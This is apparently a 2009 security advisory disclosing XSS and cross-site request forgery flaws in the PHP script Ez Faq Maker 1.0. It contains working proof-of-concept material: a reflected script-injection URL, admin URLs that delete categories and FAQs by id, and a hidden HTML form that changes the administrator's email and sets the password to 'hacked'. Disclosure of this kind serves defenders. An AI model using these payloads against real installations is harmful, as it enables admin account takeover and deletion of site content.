Ez Faq Maker 1.0 XSS / XSRF

`[#-----------------------------------------------------------------------------------------------#]  
[#] Title: Ez Faq Maker Multiple Vulnerabilities  
[#] Author: Milos Zivanovic  
[#] Email: milosz.security[at]gmail.com  
[#] Date: 15. December 2009.  
[#-----------------------------------------------------------------------------------------------#]  
[#] Application: Ez Faq Maker  
[#] Version: 1.0  
[#] Platform: PHP  
[#] Link: http://www.scriptsez.net/?action=details&cat=News%20Publishing&id=1898312927  
[#] Price: 24 USD  
[#] Vulnerability: XSS And Multiple XSRF Vulnerabilities  
[#-----------------------------------------------------------------------------------------------#]  
  
[#]Content  
|--XSS in front end  
|--Admin Panel  
| |--Remove category by id  
| |--Remove faq by id  
| |--Change admin info  
  
[-]XSS in front end  
  
[POC----------------------------------------------------------------------------------------------]  
http://localhost/faq/index.php?action=showcat&cid=8&sid="[XSS]  
http://localhost/faq/index.php?action=showcat&cid=8&sid="<script>alert(1)</script>  
[POC----------------------------------------------------------------------------------------------]  
  
[#]Admin Panel  
  
[-]Remove category by id  
  
[POC----------------------------------------------------------------------------------------------]  
http://localhost/faq/admin.php?action=categories&do=delete&op=[ID]  
[POC----------------------------------------------------------------------------------------------]  
  
[-]Remove faq by id  
  
[POC----------------------------------------------------------------------------------------------]  
http://localhost/faq/admin.php?action=delete&id=[ID]  
[POC----------------------------------------------------------------------------------------------]  
  
[*]Change admin info  
  
When i opened this section of admin panel i noticed that in url there was this:  
&sid=7e52dbb283b4515b82663d6c82f9b67d  
at first i thought that there's cross site request forgery protection,  
but then i realized that  
script programmer put that there just for show, it doesn't do  
anything. I've first change the  
value of sid parameter and script worked just fine, then i removed  
entire sid from url, and script  
still worked fine. When i tested the next exploit it worked fine, but  
if you encounter any problems  
just change form action and add the sid i posted couple lines ago.  
  
[EXPLOIT------------------------------------------------------------------------------------------]  
<form action="http://localhost/faq/admin.php?action=admin_opt" method="post">  
<input type="hidden" name="email" value="[email protected]">  
<input type="hidden" name="password" value="hacked">  
<input type="hidden" name="company" value="hacked company">  
<input type="hidden" name="add" value="true">  
<input type="submit" name="submit" value=" CHANGE ">  
</form>  
[EXPLOIT------------------------------------------------------------------------------------------]  
  
[#]EOF  
`